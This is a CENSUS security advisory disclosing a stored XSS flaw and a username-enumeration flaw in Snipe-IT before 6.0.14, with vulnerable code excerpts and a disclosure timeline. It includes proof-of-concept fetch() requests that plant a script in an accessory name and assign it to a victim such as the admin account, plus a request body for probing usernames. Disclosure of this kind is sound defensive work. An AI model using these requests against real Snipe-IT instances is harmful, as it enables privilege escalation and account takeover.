POSTED BY: Charalampos Maraziaris / 23.12.2022

Multiple vulnerabilities in Snipe-IT

CENSUS ID:CENSUS-2022-0002
CVE IDs:CVE-2022-44380, CVE-2022-44381
Affected Products:Snipe-IT versions prior to 6.0.14
Class of CVE-2022-44380:Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (CWE-79)
Class of CVE-2022-44381:Improper Access Control (CWE-284)
Discovered by:Charalampos Maraziaris

CENSUS identified Cross-Site Scripting (XSS) and username fingerprinting bugs in Snipe-IT. Snipe-IT is a free open source IT asset/license management system. CENSUS has verified that release 6.0.14 of Snipe-IT carries appropriate fixes only for the identified Cross Site Scripting vulnerabilities.

CVE-2022-44380 Vulnerability Details

A stored XSS vulnerability exists in the "Account" drop-down menu on the top-right of the app's UI (present in every page), when the user selects the "View Assigned Assets" options from the menu. A Stored XSS attack allows for adversaries to place malicious Javascript code into the database and have this Javascript code executed in a visitor's browser.

The loaded view (account/view-assets) renders Assets, Licences, Accessories and Consumables drawn from the database. The code responsible for presenting the database entries in the "account/view-assets" view (/resources/views/account/view-assets.blade.php) is presented below (release 6.0.12):

For Accessories: /resources/views/account/view-assets.blade.php


    550: <td>{!! $accessory->name !!}</td>

For Consumables: /resources/views/account/view-assets.blade.php


    598: <td>{!! $consumable->name !!}</td>

As shown above, the title is drawn from the database without using the double curly braces ({{ ... }}) that provide for HTML entity escaping in the Laravel Blade framework. Instead, ({!! ... !!}) is used that does not escape content. Therefore it is possible for an attacker to inject malicious Javascript in the Accessory and Consumable name field, and have this executed on a visitor's browser.

The stored XSS attack can be performed by an adversary that has Accessory.CREATE permissions (to insert an Accessory title in the database) and Accessory.CHECKOUT permissions (to assign this Accessory to any user). The same attack targeting Consumables can be performed by an adversary possessing Consumable.CREATE and Consumable.CHECKOUT permissions. Any user can be the victim of this attack as the malicious asset could be assigned to that user. By targeting a Super User, an authenticated adversary can achieve privilege escalation, granting himself the Super User status.

As a proof of concept, the following payload creates a malicious Accessory entry:


await fetch("http://SNIPE-IT-DOMAIN/accessories", {
    "credentials": "include",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Content-Type": "multipart/form-data; boundary=---------------------------423391379527772494482286626525",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Pragma": "no-cache",
        "Cache-Control": "no-cache"
    },
    "referrer": "http://SNIPE-IT-DOMAIN/accessories/create",
    "body": "
    -----------------------------423391379527772494482286626525\r\n
    Content-Disposition: form-data; 
    name=\"_token\"\r\n\r\VALID_CSRF_TOKEN\r\n
    -----------------------------423391379527772494482286626525\r\n
    Content-Disposition: form-data; 
    name=\"company_id\"\r\n\r\n\r\n
    -----------------------------423391379527772494482286626525\r\n
    Content-Disposition: form-data; 
    name=\"name\"\r\n\r\nabc <script> alert(1); </script>\r\n
    -----------------------------423391379527772494482286626525\r\n
    Content-Disposition: form-data; 
    name=\"category_id\"\r\n\r\nVALID_CATEGORY_ID\r\n
    -----------------------------423391379527772494482286626525\r\n
    Content-Disposition: form-data; 
    name=\"supplier_id\"\r\n\r\n\r\n
    -----------------------------423391379527772494482286626525\r\n
    Content-Disposition: form-data; 
    name=\"manufacturer_id\"\r\n\r\n\r\n
    -----------------------------423391379527772494482286626525\r\n
    Content-Disposition: form-data; 
    name=\"location_id\"\r\n\r\n\r\n
    -----------------------------423391379527772494482286626525\r\n
    Content-Disposition: form-data; 
    name=\"model_number\"\r\n\r\n\r\n
    -----------------------------423391379527772494482286626525\r\n
    Content-Disposition: form-data; 
    name=\"order_number\"\r\n\r\n\r\n
    -----------------------------423391379527772494482286626525\r\n
    Content-Disposition: form-data; 
    name=\"purchase_date\"\r\n\r\n\r\n
    -----------------------------423391379527772494482286626525\r\n
    Content-Disposition: form-data; 
    name=\"purchase_cost\"\r\n\r\n\r\n
    -----------------------------423391379527772494482286626525\r\n
    Content-Disposition: form-data; 
    name=\"qty\"\r\n\r\n9999\r\n
    -----------------------------423391379527772494482286626525\r\n
    Content-Disposition: form-data; 
    name=\"min_amt\"\r\n\r\n\r\n
    -----------------------------423391379527772494482286626525\r\n
    Content-Disposition: form-data; 
    name=\"notes\"\r\n\r\n\r\n
    -----------------------------423391379527772494482286626525\r\n
    Content-Disposition: form-data; 
    name=\"image\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n
    -----------------------------423391379527772494482286626525\r\n
    Content-Disposition: form-data; 
    name=\"image\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n
    -----------------------------423391379527772494482286626525--\r\n",
    "method": "POST",
    "mode": "cors"
});

To execute the above payload one needs to replace the VALID_CSRF_TOKEN and VALID_CATEGORY_ID with valid values.

The adversary can then use the following payload to assign the malicious Accessory to a victim user:


await fetch("http://SNIPE-IT-DOMAIN/accessories/ACCESSORY_ID/checkout", {
    "credentials": "include",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Content-Type": "application/x-www-form-urlencoded",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Pragma": "no-cache",
        "Cache-Control": "no-cache"
    },
    "referrer": "http://SNIPE-IT-DOMAIN/accessories/ACCESSORY_ID/checkout",
    "body": "_token=VALID_CSRF_TOKEN&assigned_to=VICTIM_USER_ID&note=",
    "method": "POST",
    "mode": "cors"
});

Please replace VALID_CSRF_TOKEN, VICTIM_USER_ID and ACCESSORY_ID with the relevant values. ACCESSORY_ID would be the identifier of the newly created malicious accessory. VICTIM_USER_ID would be another user's ID. For example the app creator is a privileged account and usually has the ID 1.

It is important to note that the payload can perform any action on the platform as the victim user, including elevating the permissions of the attacker (if the victim user is a privileged account).

CVE-2022-44381 Vulnerability Details

The password reset mechanism displays a different message based on whether the (attacker-controlled) input username exists in the user database or not. It is therefore possible for an attacker to fingerprint if a specific username exists in the deployed system or not.

The attacker needs to send a malicious POST request targeting /password/reset as shown below:


    "body" : "_token=XXX&password=password123&password_confirmation=password123&token=123&username=TARGET_USERNAME"
where "_token" is a CSRF token obtained by a previous request, e.g. a failed post request to /login.

The functionality of reset() is as follows:

  1. It validates that the required FORM fields exist and are well formed. It does NOT verify however the validity of the RESET "token" (the random 123 value in our example).
  2. Checks if an activated user with this username exists in the user database.
    • If so, it tries to reset the old password with the new one. This fails, since the token does not match the server issued token, and results to a redirect to an error page (line 119).
    • If not, the application redirects to a success page (line 125).

    public function reset(Request $request)
    {
        $broker = $this->broker();
        $request->validate($this->rules(), $request->all(), $this->validationErrorMessages());

        // Check to see if the user even exists - we'll treat the response the same to prevent user sniffing
        if ($user = User::where('username', '=', $request->input('username'))->where('activated', '1')->whereNotNull('email')->first()) {

            // set the response
            $response = $broker->reset(
                $this->credentials($request), function ($user, $password) {
                $this->resetPassword($user, $password);
            });

            // Check if the password reset above actually worked
            if ($response == \Password::PASSWORD_RESET) {
                return redirect()->guest('login')->with('success', trans('passwords.reset'));
            }

            \Log::debug('Password reset for '.$user->username.' FAILED - this user exists but the token is not valid');
119:        return redirect()->back()->withInput($request->only('email'))->with('error', trans('passwords.token'));
        }


        \Log::debug('Password reset for '.$request->input('username').' FAILED - user does not exist or does not have an email address - but make it look like it succeeded');
125:    return redirect()->guest('login')->with('success', trans('passwords.reset'));
    }
Therefore the attacker can infer whether a username exists in the database, based on the contents of the output page.

Recommendation

At the time of writing Snipe-IT has only addressed the XSS issues of CVE-2022-44380 in version 6.0.14. No patch is currently available for the user fingerprinting issue CVE-2022-44381. We will be updating this advisory if / when a patch arrives for CVE-2022-44381. CENSUS strongly recommends upgrading to version 6.0.14 (or greater) of Snipe-IT for the time being.

Disclosure Timeline

Vendor Contact:November 8, 2022
CVE Allocation:November 30, 2022
Vendor Fix Released:December 9, 2022
Public Advisory:December 23, 2022